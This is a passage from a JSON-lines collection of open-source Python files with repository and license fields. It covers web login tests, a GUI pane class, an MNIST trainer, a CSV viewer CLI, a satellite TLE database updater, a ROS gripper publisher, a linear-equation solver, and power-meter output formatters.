self.get_current_url()\n self.assertEqual(cur_url, \"http://localhost:8081/login\")\n self.assert_element(\"#login_title\") # Had to create a title for H1 in login\n self.assert_text(\"Log In\", \"#login_title\") # check if 'Log In' is visible\n\n def test_login_default_message(self, *_):\n \"\"\"\n R1.2.1: Check if the startup page /login contains the message 'please login' on initial open\n \"\"\"\n\n self.open(base_url + '/login') # open login page\n\n self.assert_element(\"#message\") # check for default 'Please login' message\n self.assert_text(\"Please login\", \"#message\")\n\n @patch('qa327.backend.get_user', return_value=test_user)\n @patch('qa327.backend.get_all_tickets', return_value=test_tickets)\n @patch('qa327.backend.login_user', return_value=test_user)\n def test_login_redirect_pass(self, *_):\n \"\"\"\n R1.3.1: If the user is logged in redirect to / 'home' page\n R1.5.1: The login form is submitted and requests / 'home' page\n R1.8.1: Check if a correct password returns a True/Pass value when login is requested\n R1.10.1: If email and password are correct and a login request is made, redirect to / 'home'\n \"\"\"\n\n self.open(base_url + '/login') # go to login page for initial log in\n\n # fill in login information (correctly)\n self.type(\"#email\", email)\n self.type(\"#password\", \"test_Frontend!2\")\n # click enter button\n self.click('input[type=\"submit\"]')\n\n # Check if / page is opened for logged in user\n cur_url = self.get_current_url()\n self.assertEqual(cur_url, \"http://localhost:8081/\")\n\n self.open(base_url + '/login') # attempt to go back to /login without signing out\n\n # Check if / page is opened for logged in user\n cur_url = self.get_current_url()\n self.assertEqual(cur_url, \"http://localhost:8081/\")\n\n def test_login_redirect_fail(self, *_):\n \"\"\"\n R1.3.2: When the login post fails test that the webpage does not perform a redirects to / 'home'\n R1.5.2: When a login post fails a redirection to /login is performed\n \"\"\"\n\n self.open(base_url + '/login') # go to login page for initial log in\n\n # fill in login information (improperly)\n self.type(\"#email\", email)\n self.type(\"#password\", \"wrong_password\")\n # click enter button\n self.click('input[type=\"submit\"]')\n\n # check if redirection to /login occurs when failed login post occurs\n cur_url = self.get_current_url()\n self.assertEqual(cur_url, \"http://localhost:8081/login\")\n\n def test_login_fields(self, *_):\n \"\"\"\n R1.4.1: Check if the login page includes the minimum fields of email and password\n \"\"\"\n\n self.open(base_url + '/login') # go to login page\n\n # check if email and password fields exist\n self.assert_element(\"#email\")\n self.assert_element(\"#password\")\n\n def test_login_empty_fields(self, *_):\n \"\"\"\n R1.6.1: Check if login does not succeed when the fields are empty\n \"\"\"\n\n self.open(base_url + '/login') # go to login page for initial log in\n\n # Attempt login with empty fields\n self.type(\"#email\", \"\")\n self.type(\"#password\", \"\")\n\n # Submit login attempt with empty fields\n self.click('input[type=\"submit\"]')\n\n # Check if login does not work\n self.assert_element(\"#message\") # check for default 'Please login' message\n self.assert_text(\"Please login\", \"#message\")\n\n # Check if we are still on the /login page\n cur_url = self.get_current_url()\n self.assertEqual(cur_url, \"http://localhost:8081/login\")\n\n def test_login_email_RFC5322(self, *_):\n \"\"\"\n R1.7.1: Email inputs are checked against RFC 5322 Regex\n R1.7.2: Email inputs checked against RFC 5322 Standard throw error_messages when not met\n \"\"\"\n\n # List of first characters that could cause failure of RFC 5322\n false_char = ['.','@',' ','..']\n\n self.open(base_url + '/login') # go to login page for initial log in\n\n # Attempt login with bad email\n self.type(\"#email\", str(np.random.choice(false_char))+email)\n self.type(\"#password\", \"test_Frontend!2\")\n\n # Submit login attempt with porr email field\n self.click('input[type=\"submit\"]')\n\n # Check if we are still on the /login page\n cur_url = self.get_current_url()\n self.assertEqual(cur_url, \"http://localhost:8081/login\")\n\n self.assert_element(\"#message\") # check for error_message for bad email\n self.assert_text(\"email/password format is incorrect.\")\n\n\n def test_login_password_fail(self, *_):\n \"\"\"\n R1.8.2: Test if 'bad' password that do not meet the password criteria throw a login error\n \"\"\"\n # R1.8.2\n self.open(base_url + '/login') # go to login page for initial log in\n\n self.type(\"#email\", email)\n self.type(\"#password\", \"Sh0r!\") # attempt password that is too short\n self.click('input[type=\"submit\"]')\n\n self.assert_element(\"#message\") # check for error_message for bad password\n self.assert_text(\"email/password format is incorrect.\")\n\n self.type(\"#email\", email)\n self.type(\"#password\", \"N0LOWER&\") # attempt password with no lower case\n self.click('input[type=\"submit\"]')\n\n self.assert_element(\"#message\") # check for error_message for bad password\n self.assert_text(\"email/password format is incorrect.\")\n\n self.type(\"#email\", email)\n self.type(\"#password\", \"n0upper!\") # attempt password with no upper case\n self.click('input[type=\"submit\"]')\n\n self.assert_element(\"#message\") # check for error_message for bad password\n self.assert_text(\"email/password format is incorrect.\")\n\n self.type(\"#email\", email)\n self.type(\"#password\", \"n0Special\") # attempt password with no special characters\n self.click('input[type=\"submit\"]')\n\n self.assert_element(\"#message\") # check for error_message for bad password\n self.assert_text(\"email/password format is incorrect.\")\n\n def test_login_formating_errors(self, *_):\n \"\"\"\n R1.9.1: Check if the /login page is rendered for any formatting errors and message is displayed\n R1.9.2: Check if pop-up message reads \"email/password\" os shown on /login after error_message is thrown\n R1.11.1: If email or password are incorrect redirect to /login\n R1.11.2: Check if pop-up message reads \"email/password\" os shown on /login after error_message is thrown\n \"\"\"\n\n self.open(base_url + '/login') # go to login page for initial log in\n\n # Bad email\n self.type(\"#email\", \"invalid_user@test.com\")\n self.type(\"#password\", \"test_Frontend!2\")\n self.click('input[type=\"submit\"]')\n # check if /login page is requested\n cur_url = self.get_current_url()\n self.assertEqual(cur_url, \"http://localhost:8081/login\")\n # check if message is shown\n self.assert_element(\"#message\")\n self.assert_text(\"login failed\")\n\n # Bad password\n self.type(\"#email\", email)\n self.type(\"#password\", \"wrong_password\")\n self.click('input[type=\"submit\"]')\n # check if /login page is requested\n cur_url = self.get_current_url()\n self.assertEqual(cur_url, \"http://localhost:8081/login\")\n # check if message is shown\n self.assert_element(\"#message\")\n self.assert_text(\"email/password format is incorrect.\")\n\n", "source": "TankyFranky/CMPE-327-SOFT_QUAL_ASSU", "license": "MIT"} {"text": "\"\"\" Base class defining common code for EnamlTaskPane and EnamlEditor. \"\"\"\n\n# Enthought library imports.\nfrom traits.api import HasTraits, Instance\n\n\nclass EnamlPane(HasTraits):\n \"\"\" Base class defining common code for EnamlTaskPane and EnamlEditor. \"\"\"\n\n ###########################################################################\n # 'EnamlPane' interface\n ###########################################################################\n\n #: The Enaml component defining the contents of the TaskPane.\n component = Instance('enaml.widgets.toolkit_object.ToolkitObject')\n\n def create_component(self):\n \"\"\" Return an Enaml component defining the contents of the pane.\n\n Returns\n -------\n component : ToolkitObject\n \"\"\"\n raise NotImplementedError\n\n ###########################################################################\n # 'TaskPane'/'Editor' interface\n ###########################################################################\n\n def create(self, parent):\n \"\"\" Create the toolkit-specific control that represents the editor. \"\"\"\n\n from enaml.widgets.constraints_widget import ProxyConstraintsWidget\n\n self.component = self.create_component()\n\n # We start with an invisible component to avoid flicker. We restore the\n # initial state after the Qt control is parented.\n visible = self.component.visible\n self.component.visible = False\n\n # Initialize the proxy.\n self.component.initialize()\n\n # Activate the proxy.\n if not self.component.proxy_is_active:\n self.component.activate_proxy()\n\n # Fish the Qt control out of the proxy. That's our TaskPane content.\n self.control = self.component.proxy.widget\n\n # Set the parent\n if parent is not None:\n self.control.setParent(parent)\n\n # Restore the visibility state\n self.component.visible = visible\n if isinstance(self.component, ProxyConstraintsWidget):\n self.component.proxy.request_relayout()\n\n def destroy(self):\n \"\"\" Destroy the toolkit-specific control that represents the editor.\n \"\"\"\n\n control = self.control\n if control is not None:\n control.hide()\n self.component.destroy()\n control.deleteLater()\n\n self.control = None\n self.component = None\n", "source": "adamcvj/SatelliteTracker", "license": "Apache-2.0"} {"text": "import pickle\n\nimport numpy as np\nfrom mnist import MNIST\n\nfrom neural_network import NeuralNetwork\n\ndef one_hot_encode(x, num_categories):\n\tencoding = np.zeros(num_categories)\n\tencoding[x] = 1.\n\n\treturn encoding\n\ndef one_hot_decode(x):\n\treturn x.argmax()\n\ndef get_data(train_test_split=0.9):\n\tmndata = MNIST('./MNIST')\n\tX, y = mndata.load_training()\n\n\t#converts images into flat array with brightness in [0, 1], instead of [0, 255]\n\tX = [np.array(i).reshape((-1,)) / 255 for i in X]\n\n\t#converts digit into one-hot encoding\n\ty = [one_hot_encode(i, 10) for i in y[:-1]]\n\n\ttrain_test_divide = int(len(X) * train_test_split)\n\tX_train, X_test = X[:train_test_divide], X[train_test_divide:]\n\ty_train, y_test = y[:train_test_divide], y[train_test_divide:]\n\n\treturn X_train, X_test, y_train, y_test\n\ndef get_prediction(net, inputs):\n\toutputs = net.forward_propagate(inputs)\n\n\treturn one_hot_decode(outputs)\n\ndef get_accuracy(net, X, y):\n\tcorrect = 0\n\n\tfor inputs, expected_outputs in zip(X, y):\n\t\tprediction = get_prediction(net, inputs)\n\t\tif prediction == one_hot_decode(expected_outputs):\n\t\t\tcorrect += 1\n\n\treturn correct / len(X)\n\nnp.random.seed(1)\n\nnet = NeuralNetwork((28 ** 2, 16, 16, 10))\n\nprint(\"Getting data...\")\n\nX_train, X_test, y_train, y_test = get_data()\n\nprint(\"Training...\")\n\nnet.fit(X_train, y_train, minibatch_size=10, num_epochs=50000, learning_rate=.5, reporting=100)\n\nprint(\"Saving neural network...\")\nwith open('network.ann', 'wb') as f:\n\tpickle.dump(net, f)\n\nprint(\"Finding accuracy...\")\n\ntraining_accuracy = get_accuracy(net, X_train, y_train)\ntesting_accuracy = get_accuracy(net, X_test, y_test)\n\nprint(\"Accuracy for training data: {}%\".format(training_accuracy * 100))\nprint(\"Accuracy for testing data: {}%\".format(testing_accuracy * 100))\n\n#92-93%\n#92-93%\n\n", "source": "Karan0110/digit-recognition", "license": "MIT"} {"text": "sys.path.append(os.path.join(os.path.dirname(__file__), '../..', 'news_pipeline'))\nimport news_monitor\n\ndef test():\n \n", "source": "XinliWang/NewsCrawler", "license": "MIT"} {"text": "#!/usr/bin/env python\n\nimport argparse\nimport datetime\nimport pickle\nimport socket\nimport sys\nimport os\nfrom os.path import normpath, join, expanduser, isdir\n\nimport golumn\nfrom golumn.App import GolumnApp, HOST, PORT\n\n\ndef create_parser():\n parser = argparse.ArgumentParser(\n prog='golumn',\n description='View data based on OPTIONS. Use \"-\" as FILE to read from stdin.',\n usage='%(prog)s [OPTIONS] FILE',\n )\n\n parser.add_argument(\n '-t', '--title',\n dest='title',\n metavar='TITLE',\n help='Window TITLE of result set')\n\n parser.add_argument(\n '--size',\n dest='size',\n metavar='SIZE',\n help='Set the SIZE on the window. WxH or W%xH%. Pixel or Percentages')\n\n parser.add_argument(\n '--version',\n action='version',\n version=golumn.__version__)\n\n parser.add_argument('filename', nargs='?')\n\n return parser\n\n\ndef golumn_home():\n home = expanduser(\"~\")\n return normpath(join(home, '.golumn'))\n\n\ndef history_dir():\n return normpath(join(golumn_home(), 'history'))\n\n\ndef setup():\n if not isdir(golumn_home()):\n os.mkdir(golumn_home())\n\n if not isdir(history_dir()):\n os.mkdir(history_dir())\n\n\ndef new_hist_file():\n return normpath(join(history_dir(),\n datetime.datetime.now().strftime('%Y-%m-%dT%H:%M:%S.csv')))\n\n\ndef send_server(args):\n \"\"\"\n Try to send args to an existing application.\n @return false if it can't cannect to one.\n \"\"\"\n try:\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n s.connect((HOST, PORT))\n\n package = {'args': args}\n s.sendall(pickle.dumps(package))\n s.close()\n return True\n except socket.error:\n return False\n\n\ndef main(args=None):\n parser = create_parser()\n args = parser.parse_args(args)\n\n setup()\n\n # when no file is passed in. Assume use is piping in the data.\n if args.filename is None:\n args.filename = new_hist_file()\n with open(args.filename, 'w+') as dst:\n dst.write(sys.stdin.read())\n\n if send_server(args):\n sys.exit(0)\n\n # we must be the first instance, start it up\n app = GolumnApp(useBestVisual=True)\n title = args.title or os.path.basename(args.filename or '-')\n app.OpenPath(title, args.filename, size=args.size, in_memory=False)\n app.MainLoop()\n return 0\n", "source": "ddrscott/golumn", "license": "MIT"} {"text": "import posixpath\nimport pkg_resources\n\n\ndef pkg_walk(package, top):\n \"\"\"\n Walk the package resources. Implementation from os.walk.\n \"\"\"\n\n names = pkg_resources.resource_listdir(package, top)\n\n dirs, nondirs = [], []\n\n for name in names:\n # Forward slashes with pkg_resources\n if pkg_resources.resource_isdir(package, posixpath.join(top, name)):\n dirs.append(name)\n else:\n nondirs.append(name)\n\n yield top, dirs, nondirs\n\n for name in dirs:\n new_path = posixpath.join(top, name)\n for out in pkg_walk(package, new_path):\n yield out\n", "source": "danielchasehooper/Cactus", "license": "BSD-3-Clause"} {"text": "# Gets satellite TLEs from https://celestrak.com/NORAD/elements/active.txt formats to fit in database\n# for TLEs to work with skyfield's format it must just be the two lines of information\nimport requests\nimport mysql.connector\n\n\nclass Update:\n # Checks if there are any new satellites - and adds them to the database\n # All Data will need to be updated frequently - every few hours - as TLEs go out of date quickly.\n # the table's sql is as follows:\n # CREATE table mydatabase.tles\n # (id INT AUTO_INCREMENT PRIMARY KEY, name VARCHAR(255), line1 VARCHAR(255), line2 VARCHAR(255));\n def __init__(self):\n self.auth = 'serverscripts'\n self.key = 'PassEnv123'\n self.dict = {} # dictionary to add satellites to\n self.url = \"https://celestrak.com/NORAD/elements/active.txt\" # list of all active satellites\n # connect to the database\n self.db = mysql.connector.connect(\n host=\"localhost\",\n user=self.auth,\n passwd=self.key,\n database=\"mydatabase\"\n )\n self.mycursor = self.db.cursor()\n\n # this function could be made to delete old TLEs instead, and could make this program constantly update the db.\n def deleteAllRows(self):\n # delete all rows from table 'tles'\n sql = \"DELETE FROM tles\"\n self.mycursor.execute(sql, )\n return True\n\n def add_record(self, satname, lineOne, lineTwo):\n # SQL for inserting TLEs into the database\n sql = \"INSERT INTO tles (name, line1, line2) VALUES (%s, %s, %s)\"\n # best practice for using SQL in python (prevents sql injection)\n val = satname, lineOne, lineTwo\n # execute the sql with the data inserted into the statement\n self.mycursor.execute(sql, val)\n\n self.db.commit()\n\n # print(val, \"\\nrecord inserted\")\n\n def get_list(self):\n # print(self.db)\n tle_dictionary = self.dict\n # request all info from given url\n response = requests.get(self.url)\n # split the response into lines whenever there is a newline\n data = response.text.strip().split(\"\\n\")\n\n # loop through each line in the response\n for i in range(len(data)):\n line = data[i]\n # if the first character in the line equals one then we know where we are on the first line of the TLE\n # data for each satellite comes in three lines: Satellite Name and its TLE split into two lines.\n if line[0] == \"1\": # if the line begins with a '1' assume it is line 1 of the TLE\n # add TLE to database\n sat_name = data[i - 1]\n lineOne = data[i] # save lines of the tle\n lineTwo = data[i + 1]\n print(\"inserting\", sat_name, lineOne, lineTwo)\n # add 1 record consisting of the tle and the sat's name\n self.add_record(sat_name, lineOne, lineTwo)\n # adding each tle to the tle dictionary\n tle_dictionary[sat_name] = lineOne + lineTwo\n # return the titles for the dictionary which are the names of the satellites, and the rest of the TLE\n # return tle_dictionary.keys(), tle_dictionary\n\n\nif __name__ == '__main__':\n enter = Update()\n deleted = enter.deleteAllRows()\n enter.get_list()\n", "source": "adamcvj/SatelliteTracker", "license": "Apache-2.0"} {"text": "from sklearn.base import BaseEstimator, TransformerMixin\nimport re\nfrom nltk.stem import SnowballStemmer\n\nclass TextCleaning(BaseEstimator, TransformerMixin):\n def __init__(self, regex):\n self.regex = regex\n\n def fit(self, X, y = None):\n return self\n\n def transform(self, X):\n X = X.copy()\n X[\"text\"] = X[\"text\"].apply(lambda x: re.sub(self.regex, \" \", x).strip())\n return X\n\nclass TextStemming(BaseEstimator, TransformerMixin):\n def __init__(self, skip=False):\n self.skip = skip\n\n def fit(self, X, y = None):\n return self\n\n def transform(self, X):\n def _stem(x):\n stemmer = SnowballStemmer('english')\n final_tokens = []\n for token in x.split():\n token = stemmer.stem(token)\n final_tokens.append(token)\n x_stemmed = \" \".join(final_tokens)\n return x_stemmed\n\n if self.skip:\n return X\n else:\n X = X.copy()\n X[\"text\"] = X[\"text\"].apply(_stem)\n return X\n\nclass TextStopWordRemoval(BaseEstimator, TransformerMixin):\n def __init__(self, skip=False, stop_words=[]):\n self.skip = skip\n self.stop_words = stop_words\n\n def fit(self, X, y = None):\n return self\n\n def transform(self, X):\n def _removeStopWords(x):\n final_tokens = []\n for token in x.split():\n if token.lower() in self.stop_words:\n continue\n final_tokens.append(token)\n x_sw_removed = \" \".join(final_tokens)\n return x_sw_removed\n\n if self.skip:\n return X\n else:\n X = X.copy()\n X[\"text\"] = X[\"text\"].apply(_removeStopWords)\n return X\n\n\ndef convert_labels(label):\n convert_dict = {4: 1, 0: 0}\n new_label = convert_dict[label]\n return new_label", "source": "ofbennett/sentiment-analysis-app", "license": "MIT"} {"text": "from .gen_keys import create_self_signed_cert\nfrom .server import ManInTheMiddle\nfrom .stream import EmulatedClient\n", "source": "zentooo/mitm", "license": "MIT"} {"text": "\"\"\"A week's worth of log lines.\"\"\"\n\nfrom functools import reduce\nfrom operator import add\nfrom typing import Union\n\nfrom src.day import Day, str_to_day\nfrom src.time import Time\n\n\nclass Week:\n\n def __init__(self, week_num: int, days: list[Union[str, Day]]):\n str_days = all(map(lambda d: isinstance(d, str), days))\n self.days = list(map(str_to_day, days)) if str_days else days\n self.week_num = week_num\n\n\n @property\n def total(self) -> Time:\n return reduce(add, map(lambda x: x.time, self.days))\n\n\n def __str__(self):\n header = f'- Week {self.week_num}:'\n days = list(map(str, self.days))\n footer = f'-- Total={self.total}'\n return '\\n'.join([header, *days, footer])\n\n\n def __eq__(self, other):\n return self.days == other.days\n", "source": "macuyler/clock", "license": "MIT"} {"text": "#!/usr/bin/env python\n\nimport rospy\nfrom sensor_msgs.msg import JointState\nfrom robotiq_s_model_control.msg import _SModel_robot_input as inputMsg\nfrom time import sleep\nfrom math import pi\n\n# normalizes values from an arbitrary range to another new arbitary range\ndef normalize(value, oldRangeMin, oldRangeMax, newRangeMin, newRangeMax):\n result = (value - oldRangeMin) * ((newRangeMax - newRangeMin) / (oldRangeMax - oldRangeMin)) + (newRangeMin)\n return result\n\n\n# calculates an approximation of a single joint state of the gripper, assuming that no collison during the grasp occured (-> no object is grasped / empty hand model)\ndef calculateAngle(finger, joint, fingerPosition, mode):\n angle = 0.0\n # finger offset for joint 0 (why is this needed???)\n finger_joint0_offset = 30.0\n finger_joint2_offset = -30.0\n\n if (joint==0):#alpha\n if (fingerPosition>140):\n angle = 35.0+finger_joint0_offset\n else: \n angle = normalize(fingerPosition, 0.0, 140.0, -25.0+finger_joint0_offset, 33+finger_joint0_offset)\n\n elif (joint==1):\n if (fingerPosition<140):\n angle = 0.0;\n elif(fingerPosition>240):\n angle = 90.0\n else:\n angle = normalize(fingerPosition, 140.0, 240.0, 0.0, 90.0)\n\n elif(joint==2):\n if (fingerPosition>115):\n angle = -20.0+finger_joint2_offset\n else:\n angle = normalize(fingerPosition, 0.0, 115.0, 35+finger_joint2_offset, -20+finger_joint2_offset)\n\n return (angle/180)*pi\n\n\n# calculates the joint state of the additional degree of freedom in 'scissor' direcection\ndef calulatePalmAngle(fingerPosition, mode):\n outside = -15.0\n inside = 10.0\n angle = 0.0\n\n if (mode==0): #basic\n angle = normalize(fingerPosition, 15.0, 232.0, outside, inside)\n elif (mode==1): #pinch\n angle = normalize(fingerPosition, 0.0, 219.0, outside, inside)\n elif (mode==2): #wide\n angle = normalize(fingerPosition, 6.0, 232.0, outside, inside)\n elif (mode==3): #scissor\n angle = normalize(fingerPosition, 15.0, 232.0, outside, inside)\n\n return (angle/180)*pi\n\n\n# updates the global joint state message object\ndef updateLocalJointState(inputRegisterMessage):\n for finger in range(0, 3): \n position = inputRegisterMessage.gPOC\n if (finger==1):\n position = inputRegisterMessage.gPOB\n elif(finger==2):\n position = inputRegisterMessage.gPOA\n for joint in range(0, 3): \n currentJointState.position[finger*3+joint] = calculateAngle(finger, joint, position, inputRegisterMessage.gMOD)\n\n currentJointState.position[9] = -calulatePalmAngle(inputRegisterMessage.gPOS, inputRegisterMessage.gMOD)\n currentJointState.position[10] = -currentJointState.position[9]\n \n\n# calculates, generates and publishes the joint states of the gripper from low-level register state messages of the /SModelRobotInput topic\ndef generateJointStatesFromRegisterStateAndPublish():\n rospy.Subscriber(\"SModelRobotInput\", inputMsg.SModel_robot_input, updateLocalJointState)\n\n global currentJointState \n currentJointState = JointState()\n currentJointState.header.frame_id = \"robotiq_s_model from real-time state data\"\n currentJointState.name = [\"finger_1_joint_1\", \n \"finger_1_joint_2\", \n \"finger_1_joint_3\", \n \"finger_2_joint_1\", \n \"finger_2_joint_2\", \n \"finger_2_joint_3\", \n \"finger_middle_joint_1\", \n \"finger_middle_joint_2\", \n \"finger_middle_joint_3\", \n \"palm_finger_1_joint\", \n \"palm_finger_2_joint\"]\n\n currentJointState.position = [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0]\n currentJointState.velocity = [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0]\n currentJointState.effort = [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0]\n\n pub = rospy.Publisher('joint_states', JointState, queue_size=1) #no buffering?\n rospy.init_node('robotiq_s_model_joint_state_publisher', anonymous=False)\n rate = rospy.Rate(100) # publishes at 100Hz\n\n while not rospy.is_shutdown():\n currentJointState.header.stamp = rospy.Time.now()\n pub.publish(currentJointState)\n rate.sleep()\n\n # spin() simply keeps python from exiting until this node is stopped\n rospy.spin()\n\n\nif __name__ == '__main__':\n try:\n generateJointStatesFromRegisterStateAndPublish()\n except rospy.ROSInterruptException:\n pass\n", "source": "TAMS-Group/robotiq_s_model_joint_state_publisher", "license": "BSD-3-Clause"} {"text": "import re\n\n\ndef getValue(coeff):\n if coeff == '-':\n return -1\n if coeff == '' or coeff == '+':\n return 1\n return int(coeff)\n\n\ndef extractCoeff(leftPart, desiredVariable, otherVariableNames):\n variablePart = leftPart.split(desiredVariable)[0].strip()\n if desiredVariable not in leftPart:\n coeff = 0\n elif otherVariableNames[0] in variablePart or otherVariableNames[1] in variablePart:\n coeff = re.split(\"[{firstVariable}{secondVariable}]\".format(\n firstVariable=otherVariableNames[0], secondVariable=otherVariableNames[1]), variablePart)[-1].replace(' ', '')\n coeff = getValue(coeff)\n else:\n coeff = getValue(variablePart)\n return coeff\n\n\ndef parseFile(filename):\n with open(filename, \"r\") as f:\n content = f.read()\n matrix = []\n results = []\n for equation in content.split('\\n'):\n coeffs = []\n eqParts = equation.split(\"=\")\n leftPart = eqParts[0]\n result = int(eqParts[1])\n results.append(result)\n coeffs.append(extractCoeff(leftPart, 'x', 'yz'))\n coeffs.append(extractCoeff(leftPart, 'y', 'xz'))\n coeffs.append(extractCoeff(leftPart, 'z', 'xy'))\n matrix.append(coeffs)\n return [matrix, results]\n\n\ndef getDeterminant(matrix):\n if len(matrix) == 2:\n return matrix[0][0] * matrix[1][1] - matrix[0][1] * matrix[1][0]\n else:\n return matrix[0][0] * matrix[1][1] * matrix[2][2] + matrix[1][0] * matrix[2][1] * matrix[0][2] + matrix[0][1] * matrix[1][2] * matrix[2][0] - (matrix[0][2] * matrix[1][1] * matrix[2][0] + matrix[0][0] * matrix[1][2] * matrix[2][1] + matrix[2][2] * matrix[0][1] * matrix[1][0])\n\n\ndef getTranspose(matrix):\n transpose = [[], [], []]\n for row in matrix:\n transpose[0].append(row[0])\n transpose[1].append(row[1])\n transpose[2].append(row[2])\n return transpose\n\n\ndef getAdjugate(transpose):\n adjugate = []\n for i in range(len(transpose)):\n adjugateRow = []\n for j in range(len(transpose[i])):\n newMatrix = []\n for ii in range(len(transpose)):\n newRow = []\n for jj in range(len(transpose[ii])):\n if ii != i and jj != j:\n newRow.append(transpose[ii][jj])\n if newRow:\n newMatrix.append(newRow)\n adjugateRow.append(pow(-1, ((i + 1) + (j + 1)))\n * getDeterminant(newMatrix))\n adjugate.append(adjugateRow)\n return adjugate\n\n\ndef getInverse(adjugate, determinant):\n if determinant == 0:\n return -1\n for i in range(len(adjugate)):\n for j in range(len(adjugate[i])):\n adjugate[i][j] = 1 / determinant * adjugate[i][j]\n return adjugate\n\n\ndef finalResult(inverse, results):\n finalResults = []\n for i in range(len(inverse)):\n result = 0\n for j in range(len(inverse[i])):\n result += inverse[i][j] * results[j]\n finalResults.append(result)\n return finalResults\n\n\nfileContents = parseFile(\"file.txt\")\n\nA = fileContents[0]\nB = fileContents[1]\n\nprint(\"A:\")\nprint(A)\n\nprint(\"B:\")\nprint(B)\n\ndeterminant = getDeterminant(A)\nprint(\"Determinant:\")\nprint(determinant)\n\ntranspose = getTranspose(A)\nprint(\"Transpose:\")\nprint(transpose)\n\nadjugate = getAdjugate(transpose)\nprint(\"Adjugate:\")\nprint(adjugate)\n\ninverse = getInverse(adjugate, determinant)\nprint(\"Inverse:\")\nprint(inverse)\n\nif inverse == -1:\n print(\"The matrix isn't invertible, the determinant is 0\")\nelse:\n X = finalResult(inverse, B)\n print(\"Final Results:\")\n print(X)", "source": "georgeboghez/RN_Assignment1", "license": "MIT"} {"text": "import logging\n\nfrom traits.api import Int, on_trait_change, List\n\nfrom force_wfmanager.ui.review.curve_scatter_plot import CurveScatterPlot\n\nlog = logging.getLogger(__name__)\n\n_ERROR = 'Unable to interpolate curve through data points'\n\n\nclass SubsetPlot(CurveScatterPlot):\n \"\"\"A subclass of CurvePlot that only shows a subset of data points\n from the analysis model, specified by the evaluation_indices attribute\"\"\"\n\n #: Subset of data points to show on the 2D scatter plot\n evaluation_indices = List(Int)\n\n @on_trait_change(\"analysis_model:header[],evaluation_indices[]\")\n def request_update(self):\n \"\"\"Overloaded parent method to only update the plot if the subset\n of data points to be showed changes\n \"\"\"\n # Listens to the change in data points in the analysis model.\n # Enables the plot update at the next cycle.\n self.update_required = True\n\n def _filtered_data(self, variable):\n \"\"\"Returns filtered data points for a given variable in the\n analysis model, based on the provided evaluation point indicies\n \"\"\"\n data = self.analysis_model.column(variable)\n return [data[index] for index in self.evaluation_indices]\n\n def _update_plot_x_data(self):\n \"\"\" Update data points displayed by the x axis.\n Sets the x-`self._plot_data` to corresponding sub set of\n data in the `self.analysis_model`.\n This method is called by the `_update_plot` method during\n the callback update.\n This method is called when the `x` axis is changed.\n \"\"\"\n if self.x == \"\" or self.analysis_model.is_empty:\n self._plot_data.set_data(\"x\", [])\n else:\n self._plot.x_axis.title = self.x\n self._plot_data.set_data(\"x\", self._filtered_data(self.x))\n\n def _update_plot_y_data(self):\n \"\"\" Update data points displayed by the y axis.\n Sets the y-`self._plot_data` to corresponding sub set of\n data in the `self.analysis_model`.\n This method is called by the `_update_plot` method during\n the callback update.\n This method is called when the `y` axis is changed.\n \"\"\"\n if self.y == \"\" or self.analysis_model.is_empty:\n self._plot_data.set_data(\"y\", [])\n else:\n self._plot.y_axis.title = self.y\n self._plot_data.set_data(\"y\", self._filtered_data(self.y))\n\n @on_trait_change(\"color_by\")\n def _update_color_plot(self):\n if (\n self.x == \"\"\n or self.y == \"\"\n or self.color_by is None\n or self.analysis_model.is_empty\n ):\n self._plot_data.set_data(\"color_by\", [])\n return\n\n self._plot_data.set_data(\n \"color_by\", self._filtered_data(self.color_by))\n", "source": "force-h2020/force-bdss-plugin-surfactant-example", "license": "BSD-2-Clause"} {"text": "#!/usr/bin/env python\n# Output formatters (for printing info and data files)\n#\n# Copyright (C) 2014 Peter Wu \n\nimport math\nfrom defs import info, data\n\n# Python 2.7 compatibility\nif b'' == '':\n import functools, itertools\n iterbytes = functools.partial(itertools.imap, ord)\nelse:\n iterbytes = iter\n\nclass BasePrinter(object):\n \"\"\"Prints the info, data header or data in verbose form.\"\"\"\n def __init__(self, filename):\n pass\n def print_info(self, t):\n print_namedtuple(t, info)\n def print_data_header(self, t):\n print_namedtuple(t, data)\n def print_data(self, t, date):\n print_namedtuple(t, data)\n\nclass RawPrinter(BasePrinter):\n \"\"\"Prints raw bytes in hex form, possibly with headers.\"\"\"\n def print_data(self, t, date):\n # Convert interpreted numbers back to bytes...\n all_bs = [data.pack_as_bytes(name, getattr(t, name))\n for name in data.names]\n # Convert bytes to hex and print them\n print(date + ' ' + ' '.join(\n ''.join('{0:02x}'.format(b) for b in iterbytes(bs))\n for bs in all_bs))\n\nclass CSVPrinter(BasePrinter):\n \"\"\"Prints data separated by a semicolon.\"\"\"\n def __init__(self, filename, separator=','):\n self.separator = separator\n self.printed_header = False\n def print_data_header(self, t):\n pass\n def print_data(self, t, date):\n if not self.printed_header:\n print(self.separator.join([\"timestamp\"] + data.names))\n self.printed_header = True\n print('{1}{0}{2:5.1f}{0}{3:5.3f}{0}{4:5.3f}'\n .format(self.separator, date, *t))\n\nclass EffectivePowerPrinter(BasePrinter):\n \"\"\"\n Prints the effective power in Watt, computed from voltage, current and the\n power factor.\n \"\"\"\n def __init__(self, filename, separator=','):\n self.separator = separator\n def print_data_header(self, t):\n pass\n def print_data(self, t, date):\n effective_power = t.voltage * t.current * t.power_factor\n print('{1}{0}{2:.1f}'.format(self.separator, date, effective_power))\n\nclass ApparentPowerPrinter(BasePrinter):\n \"\"\"Prints the calculated apparent power in VA.\"\"\"\n def __init__(self, filename, separator=','):\n self.separator = separator\n def print_data_header(self, t):\n pass\n def print_data(self, t, date):\n apparent_power = t.voltage * t.current\n print('{1}{0}{2:.1f}'.format(self.separator, date, apparent_power))\n\nclass MemoryPrinter(BasePrinter):\n\n def __init__(self):\n self.info = []\n self.data = []\n pass\n \n def print_info(self, t):\n for n, v in zip(t._fields, t):\n # Print literals in displayable characters\n if isinstance(v, bytes):\n v = repr(v)\n self.info += [{\n \"key\": n, \n \"val\": info.unitify(n, v)\n }]\n\n\n def print_data_header(self, t):\n pass\n\n def print_data(self, t, date):\n # data_file_index = len(self.data) - 1\n # if data_file_index < 0:\n # raise Exception(\"data_file_index < 0. print_data_header not called?\")\n\n apparent_power = t.voltage * t.current\n effective_power = t.voltage * t.current * t.power_factor\n\n self.data.append({\n 